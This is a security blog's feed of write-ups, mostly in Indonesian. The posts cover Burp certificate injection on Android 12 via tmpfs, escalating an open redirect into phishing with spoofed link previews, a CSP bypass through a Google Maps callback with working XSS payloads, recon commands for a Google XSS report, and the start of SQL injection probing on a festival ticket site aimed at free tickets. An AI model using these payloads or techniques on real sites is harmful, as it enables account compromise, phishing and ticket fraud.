<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://akbar.kustirama.id/feed.xml" rel="self" type="application/atom+xml" /><link href="https://akbar.kustirama.id/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2026-01-25T14:06:01+07:00</updated><id>https://akbar.kustirama.id/feed.xml</id><title type="html">abay.sh</title><subtitle>Where I pretend to know things and spot for my brain dumps.</subtitle><author><name>Abay</name><email>akbar@kustirama.id</email></author><entry><title type="html">Android 12 Burp Certificate (Tested on Memu)</title><link href="https://akbar.kustirama.id/android-12-burp-certificate/" rel="alternate" type="text/html" title="Android 12 Burp Certificate (Tested on Memu)" /><published>2025-09-07T00:00:00+07:00</published><updated>2025-09-07T00:00:00+07:00</updated><id>https://akbar.kustirama.id/android-12-burp-certificate</id><content type="html" xml:base="https://akbar.kustirama.id/android-12-burp-certificate/"><![CDATA[<p><img src="/android-12-burp-certificate/images/thumb.png" /></p>

<p><strong>Android 12 Burp Certificate (Tested on Memu)</strong> - I’m using Android 12 and encountering an issue installing the Burp certificate. The system stores root CA certificates in the <code class="language-plaintext highlighter-rouge">/system/etc/security/cacerts</code> directory, which is read-only and prevents direct modification. I found another person facing the same issue here: <a href="https://www.reddit.com/r/androidroot/comments/w9yuzl/unable_to_remount_the_system_folder_as_rw/" target="_blank">Reddit - Unable to remount the system folder as RW</a>
.</p>

<p>For intercepting and analyzing traffic with Burp Suite, you need to add Burp’s CA certificate so that the device trusts the proxy. Here’s how to achieve that.</p>

<p><strong>Prepare Cert File</strong> <br />
Export your Burp Suite CA certificate in DER format (e.g., cacert.der).</p>

<p><strong>Convert the Certificate to PEM and Generate Hash</strong> <br />
Use the following commands:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Convert DER to PEM</span>
openssl x509 <span class="nt">-inform</span> DER <span class="nt">-in</span> cacert.der <span class="nt">-out</span> cacert.pem

<span class="c"># Generate old subject hash (used by Android)</span>
openssl x509 <span class="nt">-inform</span> PEM <span class="nt">-subject_hash_old</span> <span class="nt">-in</span> cacert.pem | <span class="nb">head</span> <span class="nt">-1</span>

<span class="c"># Rename the file to &lt;hash&gt;.0</span>
<span class="nb">mv </span>cacert.pem &lt;<span class="nb">hash</span><span class="o">&gt;</span>.0
</code></pre></div></div>

<p><strong>Bypass Read-Only with tmpfs</strong> <br />
Since the <code class="language-plaintext highlighter-rouge">cacerts</code> directory is read-only, we can overlay it with tmpfs to allow writing. Below is a sample script:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/system/bin/sh</span>
<span class="c"># Create temporary directory</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> <span class="nt">-m</span> 700 /data/local/tmp/htk-ca-copy
<span class="c"># Copy existing system certificates</span>
<span class="nb">cp</span> /system/etc/security/cacerts/<span class="k">*</span> /data/local/tmp/htk-ca-copy/
<span class="c"># Mount tmpfs over the system cert directory</span>
mount <span class="nt">-t</span> tmpfs tmpfs /system/etc/security/cacerts
<span class="c"># Restore the original certificates</span>
<span class="nb">mv</span> /data/local/tmp/htk-ca-copy/<span class="k">*</span> /system/etc/security/cacerts/
<span class="c"># Add the new certificate</span>
<span class="nb">cp</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> /system/etc/security/cacerts/
<span class="c"># Set proper permissions and SELinux context</span>
<span class="nb">chown </span>root:root /system/etc/security/cacerts/<span class="k">*</span>
<span class="nb">chmod </span>644 /system/etc/security/cacerts/<span class="k">*</span>
<span class="nb">chcon </span>u:object_r:system_file:s0 /system/etc/security/cacerts/<span class="k">*</span>
<span class="c"># Clean up temporary directory</span>
<span class="nb">rm</span> <span class="nt">-r</span> /data/local/tmp/htk-ca-copy
<span class="nb">echo</span> <span class="s2">"System cert successfully injected"</span>
</code></pre></div></div>

<p>Save this script as <code class="language-plaintext highlighter-rouge">cert.sh</code> and run it: <code class="language-plaintext highlighter-rouge">sh cert.sh &lt;hash&gt;.0</code></p>

<p><strong>Notes</strong> <br />
<a href="images/cert-ilang.jpg" target="_blank"><img src="images/cert-ilang.jpg" /></a> <br />
For some reason, this certificate will disappear if the emulator is restarted. <br />
But, <em>if it works, don’t touch it.</em></p>

<p><em>hehe</em></p>

<p><a href="images/installed-cert.png" target="_blank"><img src="images/installed-cert.png" /></a></p>]]></content><author><name>Abay</name><email>akbar@kustirama.id</email></author><category term="Android" /><category term="Security" /><summary type="html"><![CDATA[Install the Burp Suite CA certificate on Android 12 by bypassing the read-only /system/etc/security/cacerts directory using a tmpfs overlay.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://akbar.kustirama.id/android-12-burp-certificate/images/thumb.png" /><media:content medium="image" url="https://akbar.kustirama.id/android-12-burp-certificate/images/thumb.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Eskalasi Resiko Open Redirect</title><link href="https://akbar.kustirama.id/eskalasi-resiko-open-redirect/" rel="alternate" type="text/html" title="Eskalasi Resiko Open Redirect" /><published>2025-08-01T00:00:00+07:00</published><updated>2025-08-01T00:00:00+07:00</updated><id>https://akbar.kustirama.id/eskalasi-resiko-open-redirect</id><content type="html" xml:base="https://akbar.kustirama.id/eskalasi-resiko-open-redirect/"><![CDATA[<p><strong>Eskalasi Resiko Open Redirect</strong> — Open Redirect sering dianggap sepele. Tapi kenyataannya, temuan ini bisa dimanfaatkan jadi alat yang cukup ampuh untuk menyerang user awam dengan cara yang halus tapi efektif—atau meningkatkan resiko (skor temuan) di laporan.</p>

<p>Salah satu contoh yang bisa diangkat adalah ketika sebuah aplikasi mengizinkan redirect ke domain eksternal tanpa validasi struktur URL. Misalnya, ada link seperti <code class="language-plaintext highlighter-rouge">https://target.tld//poc.abay.sh//</code>. Sekilas, link ini terlihat sah karena masih mengandung domain resmi. Tapi ketika diklik, user langsung dilempar ke <code class="language-plaintext highlighter-rouge">poc.abay.sh</code>, domain pihak ketiga yang isinya bisa dikontrol penuh oleh attacker.</p>

<p>Masalahnya bukan hanya di redirect-nya. Celah ini juga bisa dimanfaatkan untuk manipulasi tampilan link di media sosial. Platform seperti Facebook, Twitter, LinkedIn menggunakan mekanisme Open Graph Scraping untuk menghasilkan preview saat sebuah link dibagikan. Jadi, walaupun link tersebut sebenarnya akan membawa ke domain eksternal, preview yang ditampilkan tetap mengambil metadata dari domain <code class="language-plaintext highlighter-rouge">target.tld</code>. Judul, deskripsi, dan gambar yang muncul semua terlihat seperti berasal dari sumber resmi.</p>

<p>Untuk pengguna awam, hal ini bisa cukup meyakinkan. Mereka tidak akan sadar kalau link tersebut sebenarnya sudah dimanipulasi. Dalam skenario phishing, ini bisa jadi pintu masuk yang sangat efektif. Bayangkan saja ada promosi palsu, giveaway fiktif, atau halaman login tiruan, semuanya dibungkus dalam URL yang terlihat kredibel.</p>

<p>Selain ancaman phishing, penyalahgunaan seperti ini juga bisa merusak reputasi dari pemilik domain aslinya. Jika link seperti itu menyebar luas dan dikaitkan dengan aktivitas scam atau malware, kepercayaan publik terhadap brand bisa menurun. Apalagi kalau munculnya di platform publik yang ramai digunakan.</p>

<h2 id="eskalasi-resiko-open-redirect">Eskalasi Resiko Open Redirect</h2>

<p>Saya membuat 1 halaman yang berisi HTML sederhana dengan judul, deskripsi dan image untuk diambil oleh domain target.
<img src="images/source-code-redirect.png" alt="social media preview" /></p>

<p>Contoh yang saya gunakan sebagai bahan untuk laporan:</p>
<blockquote style="word-break: break-all">https://domain.tld//poc.abay.sh/situs-resmi//</blockquote>

<p>Saat dibuka, user langsung dialihkan. Dan kalau kita masukkan ke <em>online-tool</em> seperti <em>https://socialmediasharepreview.com</em>, kita akan melihat preview seolah-olah itu konten dari <code class="language-plaintext highlighter-rouge">target.tld</code>, padahal bukan. Karena title, description dan thumbnailnya diambil dari <code class="language-plaintext highlighter-rouge">poc.abay.sh/situs-resmi</code>.</p>

<p><img src="images/social-media-preview.png" alt="social media preview" /></p>

<h3 id="penutup">Penutup</h3>

<p>Celah ini mungkin kelihatan sepele, tapi dampaknya bisa panjang. Perusahaan yang bisa membuka program bug bounty adalah perusahaan yang cukup besar untuk memperhatikan celah yang punya resiko terhadap kredibilitas mereka. Dan di dunia digital, terutama dari sudut pandang brand, kredibilitas itu segalanya.</p>

<p>Kapan lagi Open Redirect jadi P2? Hehe.
<img src="images/bug-bounty.png" alt="bug bounty" /></p>]]></content><author><name>Abay</name><email>akbar@kustirama.id</email></author><category term="Security" /><category term="Write Up" /><summary type="html"><![CDATA[Eskalasi Resiko Open Redirect — Open Redirect sering dianggap sepele. Tapi kenyataannya, temuan ini bisa dimanfaatkan jadi alat yang cukup ampuh untuk menyerang user awam dengan cara yang halus tapi efektif—atau meningkatkan resiko (skor temuan) di laporan. Salah satu contoh yang bisa diangkat adalah ketika sebuah aplikasi mengizinkan redirect ke domain eksternal tanpa validasi struktur URL. Misalnya, ada link seperti https://target.tld//poc.abay.sh//. Sekilas, link ini terlihat sah karena masih mengandung domain resmi. Tapi ketika diklik, user langsung dilempar ke poc.abay.sh, domain pihak ketiga yang isinya bisa dikontrol penuh oleh attacker. Masalahnya bukan hanya di redirect-nya. Celah ini juga bisa dimanfaatkan untuk manipulasi tampilan link di media sosial. Platform seperti Facebook, Twitter, LinkedIn menggunakan mekanisme Open Graph Scraping untuk menghasilkan preview saat sebuah link dibagikan. Jadi, walaupun link tersebut sebenarnya akan membawa ke domain eksternal, preview yang ditampilkan tetap mengambil metadata dari domain target.tld. Judul, deskripsi, dan gambar yang muncul semua terlihat seperti berasal dari sumber resmi. Untuk pengguna awam, hal ini bisa cukup meyakinkan. Mereka tidak akan sadar kalau link tersebut sebenarnya sudah dimanipulasi. Dalam skenario phishing, ini bisa jadi pintu masuk yang sangat efektif. Bayangkan saja ada promosi palsu, giveaway fiktif, atau halaman login tiruan, semuanya dibungkus dalam URL yang terlihat kredibel. Selain ancaman phishing, penyalahgunaan seperti ini juga bisa merusak reputasi dari pemilik domain aslinya. Jika link seperti itu menyebar luas dan dikaitkan dengan aktivitas scam atau malware, kepercayaan publik terhadap brand bisa menurun. Apalagi kalau munculnya di platform publik yang ramai digunakan. Eskalasi Resiko Open Redirect Saya membuat 1 halaman yang berisi HTML sederhana dengan judul, deskripsi dan image untuk diambil oleh domain target. Contoh yang saya gunakan sebagai bahan untuk laporan: https://domain.tld//poc.abay.sh/situs-resmi// Saat dibuka, user langsung dialihkan. Dan kalau kita masukkan ke online-tool seperti https://socialmediasharepreview.com, kita akan melihat preview seolah-olah itu konten dari target.tld, padahal bukan. Karena title, description dan thumbnailnya diambil dari poc.abay.sh/situs-resmi. Penutup Celah ini mungkin kelihatan sepele, tapi dampaknya bisa panjang. Perusahaan yang bisa membuka program bug bounty adalah perusahaan yang cukup besar untuk memperhatikan celah yang punya resiko terhadap kredibilitas mereka. Dan di dunia digital, terutama dari sudut pandang brand, kredibilitas itu segalanya. Kapan lagi Open Redirect jadi P2? Hehe.]]></summary></entry><entry><title type="html">XSS via Google Maps</title><link href="https://akbar.kustirama.id/xss-via-google-maps/" rel="alternate" type="text/html" title="XSS via Google Maps" /><published>2025-07-15T00:00:00+07:00</published><updated>2025-07-15T00:00:00+07:00</updated><id>https://akbar.kustirama.id/xss-via-google-maps</id><content type="html" xml:base="https://akbar.kustirama.id/xss-via-google-maps/"><![CDATA[<p><strong>XSS via Google Maps</strong> - Singkat saja, saya menemukan endpoint Javascript di Google Maps yang bisa kita ubah isinya. Saya sendiri lupa darimana asalnya URL ini.</p>

<p>Perhatikan parameter <code class="language-plaintext highlighter-rouge">?callback=</code>.</p>

<blockquote style="word-break: break-all">
https://maps.googleapis.com/maps/vt?pb=!1m4!1m3!1i18!2i41913!3i101344!1m4!1m3!1i18!2i41913!3i101345!1m4!1m3!1i18!2i41913!3i101346!1m4!1m3!1i18!2i41913!3i101347!1m4!1m3!1i18!2i41914!3i101344!1m4!1m3!1i18!2i41914!3i101345!1m4!1m3!1i18!2i41915!3i101344!1m4!1m3!1i18!2i41915!3i101345!1m4!1m3!1i18!2i41914!3i101346!1m4!1m3!1i18!2i41914!3i101347!1m4!1m3!1i18!2i41915!3i101346!1m4!1m3!1i18!2i41915!3i101347!1m4!1m3!1i18!2i41916!3i101344!1m4!1m3!1i18!2i41916!3i101345!1m4!1m3!1i18!2i41917!3i101344!1m4!1m3!1i18!2i41917!3i101345!1m4!1m3!1i18!2i41916!3i101346!1m4!1m3!1i18!2i41916!3i101347!1m4!1m3!1i18!2i41917!3i101346!1m4!1m3!1i18!2i41917!3i101347!1m4!1m3!1i18!2i41918!3i101344!1m4!1m3!1i18!2i41918!3i101345!1m4!1m3!1i18!2i41919!3i101344!1m4!1m3!1i18!2i41919!3i101345!1m4!1m3!1i18!2i41918!3i101346!2m3!1e0!2sm!3i713465927!3m12!2sen!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmapSatellite!12m3!1e37!2m1!1ssmartmaps!4e3!12m1!5b1&amp;callback=payload
</blockquote>

<p>Saya juga sempat melaporkan ini via Google Bug Hunters, namun laporan saya dinyatakan <em>duplicate</em>. Saya mencoba bertanya apa yang terjadi dengan report awal.  Dan berdasarkan informasi dari Google, laporan awal terkait ini juga ditutup dengan status <em>Won’t Fix</em>. Karena isunya bukan berada di Google Maps, melainkan di aplikasi yang menggunakan URL Google Maps yang sudah disusupi payload tersebut.</p>

<p><img src="images/google-bughunters.png" alt="Google Bug Hunters" /></p>

<h3 id="xss-via-google-maps">XSS via Google Maps</h3>
<p>Karena laporan saya ditutup dengan status duplikat, saya mencoba menggunakan URL yang saya temukan ini di beberapa situs. Terutama target yang sudah mengimplementasikan <code class="language-plaintext highlighter-rouge">Content-Security-Policy</code> namun mengizinkan sumber <code class="language-plaintext highlighter-rouge">maps.googleapis.com</code> atau <code class="language-plaintext highlighter-rouge">*.googleapis.com</code>.</p>

<p>Dengan menggunakan URL tersebut, kita bisa melakukan bypass CSP dengan menggunakan payload yang kita sisipkan di endpoint Google Maps tadi.</p>

<p><strong>Dengan catatan, domain maps.googleapis.com di-allow di header CSP yang digunakan target.</strong></p>

<p>Saya membuat demo sederhana dari kegiatan yang saya lakukan di situs lain. Saya set CSP hanya boleh ke <code class="language-plaintext highlighter-rouge">google.com</code> dan <code class="language-plaintext highlighter-rouge">maps.googleapis.com</code>.</p>

<p><img src="images/demo-csp-setting.png" alt="CSP Setting" /></p>

<p>Sehingga jika kita sudah berhasil mendapatkan XSS dan kita ingin menggunakan payload yang memanggil script dari external source, request-nya akan ditolak.</p>

<p><img src="images/xss-source.png" alt="XSS Source" />
<img src="images/xss-blocked-csp.png" alt="XSS Blocked by CSP" /></p>

<p>Dan ketika kita menggunakan URL dari Google Maps tadi, saya mengubah value dari paramter <code class="language-plaintext highlighter-rouge">callback</code> menjadi payload sederhana: <code class="language-plaintext highlighter-rouge">alert(document.domain);//</code>. <code class="language-plaintext highlighter-rouge">//</code> di akhir saya tambahkan agar script lain dari endpoint tersebut tidak dieksekusi.</p>

<p><img src="images/xss.png" alt="XSS" /></p>

<h3 id="penutup">Penutup</h3>

<p>Dengan adanya URL Google Maps tersebut, kita punya satu lagi metode untuk melakukan bypass CSP dalam konteks XSS, hehe.</p>

<p><strong>Update</strong>    <br />
Ternyata payload bisa dipersingkat:</p>
<blockquote style="word-break: break-all">
&lt;script src=&quot;https://maps.googleapis.com/maps/api/js?callback=alert(document.domain);throw%20new%20Error(1);&quot;&gt;&lt;/script&gt;
</blockquote>

<p><img src="images/update.png" alt="Updated Payload" />
<img src="images/update-alert.png" alt="Updated Payload Alert" /></p>]]></content><author><name>Abay</name><email>akbar@kustirama.id</email></author><category term="Security" /><category term="Google" /><category term="Write Up" /><summary type="html"><![CDATA[XSS via Google Maps - Singkat saja, saya menemukan endpoint Javascript di Google Maps yang bisa kita ubah isinya. Saya sendiri lupa darimana asalnya URL ini. Perhatikan parameter ?callback=. https://maps.googleapis.com/maps/vt?pb=!1m4!1m3!1i18!2i41913!3i101344!1m4!1m3!1i18!2i41913!3i101345!1m4!1m3!1i18!2i41913!3i101346!1m4!1m3!1i18!2i41913!3i101347!1m4!1m3!1i18!2i41914!3i101344!1m4!1m3!1i18!2i41914!3i101345!1m4!1m3!1i18!2i41915!3i101344!1m4!1m3!1i18!2i41915!3i101345!1m4!1m3!1i18!2i41914!3i101346!1m4!1m3!1i18!2i41914!3i101347!1m4!1m3!1i18!2i41915!3i101346!1m4!1m3!1i18!2i41915!3i101347!1m4!1m3!1i18!2i41916!3i101344!1m4!1m3!1i18!2i41916!3i101345!1m4!1m3!1i18!2i41917!3i101344!1m4!1m3!1i18!2i41917!3i101345!1m4!1m3!1i18!2i41916!3i101346!1m4!1m3!1i18!2i41916!3i101347!1m4!1m3!1i18!2i41917!3i101346!1m4!1m3!1i18!2i41917!3i101347!1m4!1m3!1i18!2i41918!3i101344!1m4!1m3!1i18!2i41918!3i101345!1m4!1m3!1i18!2i41919!3i101344!1m4!1m3!1i18!2i41919!3i101345!1m4!1m3!1i18!2i41918!3i101346!2m3!1e0!2sm!3i713465927!3m12!2sen!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmapSatellite!12m3!1e37!2m1!1ssmartmaps!4e3!12m1!5b1&amp;callback=payload Saya juga sempat melaporkan ini via Google Bug Hunters, namun laporan saya dinyatakan duplicate. Saya mencoba bertanya apa yang terjadi dengan report awal. Dan berdasarkan informasi dari Google, laporan awal terkait ini juga ditutup dengan status Won’t Fix. Karena isunya bukan berada di Google Maps, melainkan di aplikasi yang menggunakan URL Google Maps yang sudah disusupi payload tersebut. XSS via Google Maps Karena laporan saya ditutup dengan status duplikat, saya mencoba menggunakan URL yang saya temukan ini di beberapa situs. Terutama target yang sudah mengimplementasikan Content-Security-Policy namun mengizinkan sumber maps.googleapis.com atau *.googleapis.com. Dengan menggunakan URL tersebut, kita bisa melakukan bypass CSP dengan menggunakan payload yang kita sisipkan di endpoint Google Maps tadi. Dengan catatan, domain maps.googleapis.com di-allow di header CSP yang digunakan target. Saya membuat demo sederhana dari kegiatan yang saya lakukan di situs lain. Saya set CSP hanya boleh ke google.com dan maps.googleapis.com. Sehingga jika kita sudah berhasil mendapatkan XSS dan kita ingin menggunakan payload yang memanggil script dari external source, request-nya akan ditolak. Dan ketika kita menggunakan URL dari Google Maps tadi, saya mengubah value dari paramter callback menjadi payload sederhana: alert(document.domain);//. // di akhir saya tambahkan agar script lain dari endpoint tersebut tidak dieksekusi. Penutup Dengan adanya URL Google Maps tersebut, kita punya satu lagi metode untuk melakukan bypass CSP dalam konteks XSS, hehe. Update Ternyata payload bisa dipersingkat: &lt;script src=&quot;https://maps.googleapis.com/maps/api/js?callback=alert(document.domain);throw%20new%20Error(1);&quot;&gt;&lt;/script&gt;]]></summary></entry><entry><title type="html">XSS in Google: Valid, Yet Unworthy?</title><link href="https://akbar.kustirama.id/xss-in-google-valid-yet-unworthy/" rel="alternate" type="text/html" title="XSS in Google: Valid, Yet Unworthy?" /><published>2025-01-18T00:00:00+07:00</published><updated>2025-01-18T00:00:00+07:00</updated><id>https://akbar.kustirama.id/xss-in-google-valid-yet-unworthy</id><content type="html" xml:base="https://akbar.kustirama.id/xss-in-google-valid-yet-unworthy/"><![CDATA[<p><strong>XSS in Google: Valid, Yet Unworthy?</strong> - Berawal dari iseng-iseng <em>BU</em> nyari bug di beberapa layanan Google, saya menemukan salah satu domain yang keliatannya udah gak keurus. Penasaran, saya mencoba inject payload XSS standar ke form inputnya. Ternyata berhasil! Muncul alert yang menunjukkan kalau script saya dieksekusi. Dalam hati saya udah girang, “Wah, bisa jadi duid gede nih.”</p>

<p>Setelah dapet bukti valid, saya langsung melaporkan temuan ini ke Google lewat program bug bounty mereka di <em>bughunters.google.com</em>. Setelah beberapa waktu, saya mendapat balasan “🎉 Nice catch!”</p>

<p>Setelah beberapa hari (lagi) diskusi, mereka memutuskan, intinya, “Terima kasih atas laporannya, tapi domain ini sebenernya udah gak aktif dan harusnya udah dimatikan. Jadi, temuan lu valid, tapi sayangnya gak memenuhi syarat untuk dapet bounty. Sebagai apresiasi, kami kirim swag buat lu.”</p>

<hr />

<p>Berikut <em>write-up</em>—tapi lebih mirip tulisan ngeluh—singkat tentang XSS yang saya temukan di salah satu aset Google tersebut.</p>

<h3 id="target-discovery">Target Discovery</h3>
<p>Saya mencari list domain yang masuk dalam <em>scope</em> dari program milik Google dan menemukan halaman <a href="https://bughunters.google.com/about/rules/google-friends/6625378258649088/google-and-alphabet-vulnerability-reward-program-vrp-rules#reward-amounts-for-security-vulnerabilities" target="_blank" alt="Google VRP Rules">Google and Alphabet Vulnerability Reward Program (VRP) Rules</a>. Pada tabel “Reward amounts for security vulnerabilities” terdapat link menuju Github File milik Google berisi list <a href="https://github.com/google/bughunters/blob/main/domain-tiers/external_domains_acquisitions.asciipb" target="_blank" alt="External Domains Acquisitions">External Domains Acquisitions</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://raw.githubusercontent.com/google/bughunters/refs/heads/main/domain-tiers/external_domains_acquisitions.asciipb -s | grep -oP '(?&lt;=fqdn: ")[^"]+'
</code></pre></div></div>

<p><a href="/xss-in-google-valid-yet-unworthy/images/1.png" alt="Google XSS Write Up" target="_blank" title="Google XSS Write Up"><img src="/xss-in-google-valid-yet-unworthy/images/1.png" alt="SQLGoogle XSS Write Up" /></a></p>

<p>Untuk mempersingkat, command tersebut bisa kita kombinasikan dengan <a href="https://github.com/projectdiscovery/httpx" target="_blank" alt="httpx">httpx</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://raw.githubusercontent.com/google/bughunters/refs/heads/main/domain-tiers/external_domains_acquisitions.asciipb -s | grep -oP '(?&lt;=fqdn: ")[^"]+' | httpx -sc -td -silent
</code></pre></div></div>

<p><a href="/xss-in-google-valid-yet-unworthy/images/2.png" alt="Google XSS Write Up" target="_blank" title="Google XSS Write Up"><img src="/xss-in-google-valid-yet-unworthy/images/2.png" alt="Google XSS Write Up" /></a></p>

<p>Command tersebut akan melakukan:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">-sc</code> Menampilkan HTTP status code dari setiap request</li>
  <li><code class="language-plaintext highlighter-rouge">-td</code> Menampilkan teknologi yang digunakan pada halaman tersebut</li>
  <li><code class="language-plaintext highlighter-rouge">-silent</code> Menyembunyikan output verbose (hanya menampilkan hasil penting saja)</li>
</ul>

<p>Dari banyaknya domain yang tersedia, saya memilih <code class="language-plaintext highlighter-rouge">span.sproute.net</code>.</p>

<h3 id="ngehek-google">Ngehek Google</h3>
<p>Singkat cerita, dan karena screenshotnya udah ilang juga, saya menemukan parameter <code class="language-plaintext highlighter-rouge">email</code> yang hanya membutuhkan payload biasa untuk menjalankan XSS.</p>

<p><a href="/xss-in-google-valid-yet-unworthy/images/3.png" alt="Google XSS Write Up" target="_blank" title="Google XSS Write Up"><img src="/xss-in-google-valid-yet-unworthy/images/3.png" alt="Google XSS Write Up" /></a></p>

<p>XSS adalah <em>blablabla</em>, saya melaporkan ini ke Google. 2 hari kemudian, email otomatis Google memberitahukan bahwa laporan saya dalam status <em>Triaged</em>. 4 hari kemudian, saya mendapatkan email “🎉 Nice catch!”</p>

<p><a href="/xss-in-google-valid-yet-unworthy/images/thumbnail.png" alt="Google XSS Write Up" target="_blank" title="Google XSS Write Up"><img src="/xss-in-google-valid-yet-unworthy/images/thumbnail.png" alt="Google XSS Write Up" /></a></p>

<p><em>Asyiique gajian~</em></p>

<h3 id="di-prank-google">Di-prank Google?</h3>
<p>Beberapa hari setelah “Nice Catch”, Google memberitahu bahwa Google VRP panel memutuskan bahwa tidak ada <em>security impact</em> pada laporan saya sehingga tidak memenuhi syarat untuk mendapat hadiah.</p>

<p><a href="/xss-in-google-valid-yet-unworthy/images/4.png" alt="Google XSS Write Up" target="_blank" title="Google XSS Write Up"><img src="/xss-in-google-valid-yet-unworthy/images/4.png" alt="Google XSS Write Up" /></a></p>

<p>Saya membalas dengan beberapa hal yang saya yakini, yaitu; saya mengikuti peraturan domain yang masuk dalam <em>scope</em> program Google, pada <em>Reward Table</em> juga terdapat keterangan bahwa domain yang saya temukan memenuhi syarat untuk hadiah.</p>

<p><a href="/xss-in-google-valid-yet-unworthy/images/5.png" alt="Google XSS Write Up" target="_blank" title="Google XSS Write Up"><img src="/xss-in-google-valid-yet-unworthy/images/5.png" alt="Google XSS Write Up" /></a></p>

<p>Google menjelaskan alasan kenapa laporan saya tidak memenuhi syarat, yaitu karena “The span.sproute.net service was shutdown but the DNS entry was not removed so it points to a random website hosted on AWS which isn’t owned by Google.” Lalu, Google menawarkan untuk memberi hadiah berupa <em>swag</em>.</p>

<p><a href="/xss-in-google-valid-yet-unworthy/images/6.png" alt="Google XSS Write Up" target="_blank" title="Google XSS Write Up"><img src="/xss-in-google-valid-yet-unworthy/images/6.png" alt="Google XSS Write Up" /></a></p>

<p>Saya ngeyel. Karena menurut saya, saya melakukan hal yang sudah sesuai dengan aturan dan <em>scope</em> program mereka. Kalaupun memang ternyata servis dari domain tersebut sudah tidak aktif, maka harusnya Google men-<em>takeout</em> domain tersebut dari <em>scope</em> mereka, kan?</p>

<p><a href="/xss-in-google-valid-yet-unworthy/images/7.png" alt="Google XSS Write Up" target="_blank" title="Google XSS Write Up"><img src="/xss-in-google-valid-yet-unworthy/images/7.png" alt="Google XSS Write Up" /></a></p>

<p>Ngeyel lagi.</p>

<p><a href="/xss-in-google-valid-yet-unworthy/images/8.png" alt="Google XSS Write Up" target="_blank" title="Google XSS Write Up"><img src="/xss-in-google-valid-yet-unworthy/images/8.png" alt="Google XSS Write Up" /></a></p>

<p>Akhirnya karena lama-lama cape juga, yaudah lah ya, tapi ngambek dikit.</p>

<p><a href="/xss-in-google-valid-yet-unworthy/images/9.png" alt="Google XSS Write Up" target="_blank" title="Google XSS Write Up"><img src="/xss-in-google-valid-yet-unworthy/images/9.png" alt="Google XSS Write Up" /></a></p>

<p>Lumayan lah ya dapet <em>merchandise</em> dari Google.</p>

<p><a href="/xss-in-google-valid-yet-unworthy/images/10.jpg" alt="Google XSS Write Up" target="_blank" title="Google XSS Write Up"><img src="/xss-in-google-valid-yet-unworthy/images/10.jpg" alt="Google XSS Write Up" /></a></p>

<h3 id="penutup">Penutup</h3>
<p>Temuan ini berawal karena <em>BU</em>, diperdebatkan setelah kepala agak dingin karena seenggaknya punya profil di <a href="https://bughunters.google.com/profile/d2c42e45-b744-4289-84f1-456288aebe21" alt="Google Bug Hunters Profile" title="Google Bug Hunters Profile" target="_blank">Google Bug Hunters</a>, ditulis saat kepala sudah kelamaan dingin. Sampai jumpa pada tulisan selanjutnya.</p>

<p>Timeline</p>
<ul>
  <li>Nov 23, 2024 — Report submitted.</li>
  <li>Nov 25, 2024 — Triaged</li>
  <li>Nov 29, 2024 — 🎉 Nice catch!</li>
  <li>Nov 30, 2024 -  Dec 10, 2024 — Ngeyel</li>
  <li>Dec 11, 2024 — Pasrah</li>
  <li>Jan 4, 2025 — Fixed</li>
</ul>]]></content><author><name>Abay</name><email>akbar@kustirama.id</email></author><category term="Write Up" /><category term="Google" /><summary type="html"><![CDATA[Bukan kayak Write Up biasa, malah isinya ngeluh dikit.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://akbar.kustirama.id/xss-in-google-valid-yet-unworthy/images/thumbnail.png" /><media:content medium="image" url="https://akbar.kustirama.id/xss-in-google-valid-yet-unworthy/images/thumbnail.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Mendapatkan Tiket Gratis Synchronize Fest 2024</title><link href="https://akbar.kustirama.id/mendapatkan-tiket-gratis-synchronize-fest-2024/" rel="alternate" type="text/html" title="Mendapatkan Tiket Gratis Synchronize Fest 2024" /><published>2024-09-04T00:00:00+07:00</published><updated>2024-09-04T00:00:00+07:00</updated><id>https://akbar.kustirama.id/mendapatkan-tiket-gratis-synchronize-fest-2024</id><content type="html" xml:base="https://akbar.kustirama.id/mendapatkan-tiket-gratis-synchronize-fest-2024/"><![CDATA[<p><strong>Mendapatkan Tiket Gratis Synchronize Fest 2024</strong> - Berawal dari lewatnya informasi tiket Synchronize Fest 2024 (selanjutnya akan disebut Synchronize aja biar ga kepanjangan) di timeline, saya penasaran siapa aja <em>lineup</em> yang akan tampil, yang jelas ada SID sih, jadi udah pasti bakal beli juga, hehe. Tapi, ketika saya cek ke situsnya, ada hal yang menarik perhatian. Di sinilah ide gajelas mulai muncul.</p>

<p>Ada beberapa rencana yang udah kebayang, utamanya cuma soal ngedapetin tiket, hehe.</p>

<p>Dari hasil <em>information gathering</em>, diketahui situs Synchronize menggunakan CodeIgniter dengan beberapa fitur yang punya proses di belakang layar seperti login, pembelian tiket, dan lainnya.</p>

<h3 id="sql-injection-situs-synchronize">SQL Injection Situs Synchronize</h3>
<p>Di halaman depan situsnya ada informasi kalau ada <em>free ticket</em> yang bisa kita dapet dengan cara tertentu. Caranya tinggal cek langsung ke situsnya aja.</p>

<p><a href="/mendapatkan-tiket-gratis-synchronize-fest-2024/images/1.png" alt="SQL Injection Synchronize Fest 2024" target="_blank" title="SQL Injection Synchronize Fest 2024"><img src="/mendapatkan-tiket-gratis-synchronize-fest-2024/images/1.png" alt="SQL Injection Synchronize Fest 2024" /></a></p>

<p>Di halaman tersebut terdapat form untuk validasi kode voucher yang kita punya. Iseng saya input karakter acak dan single quote di form tersebut, error yang muncul berbeda.</p>

